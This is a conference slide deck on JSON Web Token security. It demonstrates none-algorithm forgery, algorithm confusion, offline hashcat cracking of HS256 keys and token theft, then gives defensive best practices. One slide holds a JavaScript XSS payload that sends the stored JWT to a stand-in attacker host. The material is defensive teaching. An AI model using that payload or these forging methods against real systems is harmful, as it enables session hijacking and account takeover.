

The Hacker's Guide to JWT Security

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About Me

- 20+ professional experience
 - Software engineer, researcher, head of software R&D
- Author and speaker
 - JavaOne, Devoxx, JavaZone, ...
- Top 10 Women in Tech 2016 PL
- Founder and CTO Yon Labs
 - Automated detection and refactoring of software defects
 - Consulting, trainings, code audits
 - Security, performance, databases
- Oracle Groundbreaker Ambassador



Agenda

- Introduction to JSON Web Tokens
- Demo
 - 4 demos
 - Problems: RFC, algorithms, implementations, applications
 - Web demos powered by Oracle Cloud
- Best practices





The First Caveat of JWT...

How to pronounce JWT?



RFC 7519, JSON Web Token

1. Introduction

JSON Web Token (JWT) is a compact claims representation format intended for space constrained environments such as HTTP Authorization headers and URI query parameters. JWTs encode claims to be transmitted as a JSON [\[RFC7159\]](#) object that is used as the payload of a JSON Web Signature (JWS) [\[JWS\]](#) structure or as the plaintext of a JSON Web Encryption (JWE) [\[JWE\]](#) structure, enabling the claims to be digitally signed or integrity protected with a Message Authentication Code (MAC) and/or encrypted. JWTs are always represented using the JWS Compact Serialization or the JWE Compact Serialization.

The suggested pronunciation of JWT is the same as the English word "jot".

source: <https://tools.ietf.org/html/rfc7519>

RFC 7519, JSON Web Token

JavaZone SR



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JSON Web Token

eyJhbGciOiJIUzI1NiJ9.eyJzdWliOiIxliwiaWF0IjoxNTczMDk2NTU4LCJpc3MiOiJqd3QtZGVtbylslmV4cCI6MTU3NTY4ODU1OH0.wf50qNmdWNSw2e3OeAvjUdH50hX4ak6S47nh7VNn6Vk

JSON Web Token

eyJhbGciOiJIUzI1NiJ9.eyJzdWliOilxliwiaWF0ljoxNTczMDk2NTU4LCJpc3MiOiJqd3QtZGVtbylsImV4cCI6MTU3NTY4ODUIOH0.wf50qNmdWNSw2e3OeAvjUdH50hX4ak6S47nh7VNn6Vk

JSON Web Token

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxIiwiaWF
0IjoxNTczMDk2NTU4LCJpc3MiOiJqd3QtZGVtbyI
sImV4cCI6MTU3NTY4ODU1OH0.wf50qNmdWNSw2e3
OeAvjUdH50hX4ak6S47nh7VNn6Vk

BASE64URL

HEADER: ALGORITHM & TOKEN TYPE

```
{  
  "alg": "HS256"  
}
```

PAYOUT: DATA

```
{  
  "sub": "1",  
  "iat": 1573096558,  
  "iss": "jwt-demo",  
  "exp": 1575688558  
}
```

VERIFY SIGNATURE

```
HMACSHA256(  
  base64UrlEncode(header) + "." +  
  base64UrlEncode(payload),  
  your-256-bit-secret  
)  secret base64 encoded
```

source: <https://jwt.io>



HTTP Request with JSON Web Token

```
PUT http://localhost:8080/user
Accept: */*
Content-Type: application/json
Cache-Control: no-cache
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxIiwiaWF0IjoxNTczMDcxNDY5LCJpc3MiOiJqd3QtZGVt
zQ20X0.r9Zu6q5yDVZD8PNGEau47D_UxUMQvk1jEZdB-M7tzIM
```



Demo #1

None Algorithm



Demo #1, None Algorithm

```
eyJhbGciOiJub25lIn0.eyJzdWIiOiI3IiwiaWF0  
IjoxNTczMTAwODA0LCJpc3MiOiJqd3QtZGVtbyIs  
ImV4cCI6MTU3MzE4NzIwNH0.|
```

HEADER: ALGORITHM & TOKEN TYPE

```
{  
  "alg": "none"  
}
```

PAYOUT: DATA

```
{  
  "sub": "7",  
  "iat": 1573100804,  
  "iss": "jwt-demo",  
  "exp": 1573187204  
}
```

VERIFY SIGNATURE

NO SIGNATURE

io.jsonwebtoken

```
@Override  
public long verify(String token) {  
    try {  
        Jwt jwt = Jwts.parser()  
            .setSigningKey(SECRET_KEY)  
            .parse(token);  
        Claims claims = (Claims) jwt.getBody();  
        return Long.valueOf(claims.getSubject());  
    } catch (JwtException e) {  
        throw new BadCredentialsException("Invalid token.");  
    }  
}
```

parseClaimsJws

Another Library with None Problem

- National Vulnerability Database

CVE-2018-1000531 Detail

Current Description

inversoft prime-jwt version prior to commit abb0d479389a2509f939452a6767dc424bb5e6ba contains a CWE-20 vulnerability in JWTDecoder.decode that can result in an incorrect signature validation of a JWT token. This attack can be exploitable when an attacker crafts a JWT token with a valid header using 'none' as algorithm and a body to requests it be validated. This vulnerability was fixed after commit abb0d479389a2509f939452a6767dc424bb5e6ba.

source: <https://nvd.nist.gov/vuln/detail/CVE-2018-1000531>



Demo #1, None Algorithm, Problems

- RFC problem
 - none available
- Implementation problem
 - Libraries and their APIs
- Application developers' problem
 - Know your tools

Library API Problem

- Examples
 - parse vs. parseClaimsJws
 - decode vs. verify
- Best practices
 - Understand your JWT library
 - Check out NVD
 - Require a specific algorithm and a key during verification





Why to Require Algorithm and Key?

- HMAC-SHA signed with RSA public key

CVE-2016-10555 Detail

MODIFIED


This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided.

Current Description

Since "algorithm" isn't enforced in `jwt.decode()` in jwt-simple 0.3.0 and earlier, a malicious user could choose what algorithm is sent to the server. If the server is expecting RSA but is sent HMAC-SHA with RSA's public key, the server will think the public key is actually an HMAC private key. This could be used to forge any data an attacker wants.

HMAC-SHA signed with RSA public key

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
JWT

Algorithm: RS (asymmetric RSA + SHA)
signed with a server RSA private key
verified with a server RSA public key



JWT

Changed algorithm: HS (symmetric HMAC + SHA)
signed with a server RSA public key as an HMAC secret
(RSA public keys often available)
verified with a server key (RSA public key used in HMAC)





Why to Require Algorithm and Key?

- Key provided in JWT header (sic!)

CVE-2018-0114 Detail

MODIFIED



This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided.

Current Description

A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.

Key provided in JWT header (sic!)

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Good API Design: auth0:java-jwt

```
String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWF0kE
try {
    Algorithm algorithm = Algorithm.HMAC256("secret");
    JWTVerifier verifier = JWT.require(algorithm)
        .withIssuer("auth0")
        .build(); //Reusable verifier instance
    DecodedJWT jwt = verifier.verify(token);
} catch (JWTVerificationException exception){
    //Invalid signature/claims
}
```



Demo #2

HS256 Password/Key Cracking

Demo #2, hashcat

```
Session.....: hashcat
Status.....: Running
Hash.Name....: JWT (JSON Web Token)
Hash.Target....: eyJhbGciOiJIUzI1NiJ9eyJzdWIiOiIxIiwiaWF0IjoxNTczMT...pmW9mE
Time.Started....: Thu Nov  7 05:46:38 2019 (2 secs)
Time.Estimated...: Thu Nov  7 05:58:53 2019 (12 mins, 13 secs)
Guess.Mask.....: ?1?2?2?2?2?2 [6]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue.....: 6/15 (40.00%)
Speed.#2.....: 5096.9 kH/s (7.29ms) @ Accel:4 Loops:1 Thr:256 Vec:1
Recovered.....: 0/1 (0.00%) Digests
Progress.....: 11796480/3748902912 (0.31%)
Rejected.....: 0/11796480 (0.00%)
Restore.Point....: 0/1679616 (0.00%)
Restore.Sub.#2...: Salt:0 Amplifier:960-964 Iteration:0-4
Candidates.#2....: 7bnier -> zd1tra
```

Demo #2, Problems

- Only one token needed
 - No communication with a verification server
 - All cracking done offline
 - A victim/a system are unaware of the attack
- Weak key problem
- Complications
 - Many algorithms
 - Different kinds of keys



JWT, Algorithms

- HS Family
 - HMAC with SHA
 - Symmetric
- RS Family
 - RSA with SHA
 - Asymmetric
- ES/PS Families
 - Elliptic Curves with SHA
 - RSA Probabilistic Signature Schema with SHA



JWT, HS Family

- HMAC with SHA
 - 256, 384, 512
 - Symmetric, shared key
- Key size
 - <https://auth0.com/blog/brute-forcing-hs256-is-possible-the-importance-of-using-strong-keys-to-sign-jwts/>
 - „As a rule of thumb, make sure to pick a shared-key as long as the length of the hash.”
 - HS256 => 32 bytes minimum
- Scalability
 - More servers => larger attack surface
 - One server compromised => the entire system compromised

JWT, RS Family

- RSA-PKCS1.5 with SHA
 - 256, 384, 512
 - Asymmetric, public/private keys
- Key size
 - <https://www.nist.gov> (US DoC) recommendation
 - 2048 bits => 256 bytes
 - 3072 bits for security beyond 2030
- Scalability and performance
 - Authentication server/servers => private key
 - Verification servers => public key
 - The longer key => the slower verification



Demo #3

Packet Sniffing

Demo #3, Problems

- Lack of encryption
 - HTTPS
- Token sidejacking
 - Stolen tokens can be freely used
 - Used as long as they are valid (expiration time!)
 - “Replay” attack





Demo #4

XSS to Steal a Token

XSS Attack Vector

```
javascript:
// to bypass Same Origin Policy
new Image().src='http://evil.yonlabs.com:8080/steal/steal?jwt='+sessionStorage.getItem(key: 'token');
alert('Your JWT has been stolen!');
```



Demo #4, Problems and Solutions

- XSS
- No way to block access to a session storage for JS
- Best practices anti-XSS
 - Content Security Policy
 - Code audits/pen-testing to discover XSS
 - Good libraries and smart usage
- Hardened cookie as a storage mechanism for JWT
 - No server-side state
 - Flags: secure, httpOnly, sameSite
 - But... CSRF ☹



OWASP Token Sidejacking Solution


- https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_Cheat_Sheet_for_Java.html
- Fingerprint
 - Random secure value
 - Hashed and added to JWT claims
 - Raw value set as a hardened cookie
- JWT in session storage
- Verification
 - Verifies JWT
 - Hashes a cookie value
 - Verifies if a hashed cookie and JWT fingerprint values are equal



Token Sidejacking Solution: Fingerprinting with Cookie

SR

JavaZone





Basic Hygiene: Timeouts and Logouts

- Logouts
 - No built-in feature to revoke a token
 - User must be able to explicitly stop a session
- Timeouts
 - No built-in feature to implement an inactivity timeout
 - To avoid re-logging often we use a long-expiration time




Photo by [Piron Guillaume](#) on [Unsplash](#)



Basic Hygiene: Timeouts and Logouts


- Logouts
 - Blacklist/validation store on the server-side
- Timeouts
 - Shorter token expiration times
 - Accepting re-logging or refreshing access tokens



JavaZone USR



JWT Security



#javazone #jwtsecurity #yonlabs

@yonlabs



A fool with a tool is only a fool



Continuous Learning



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Q&A

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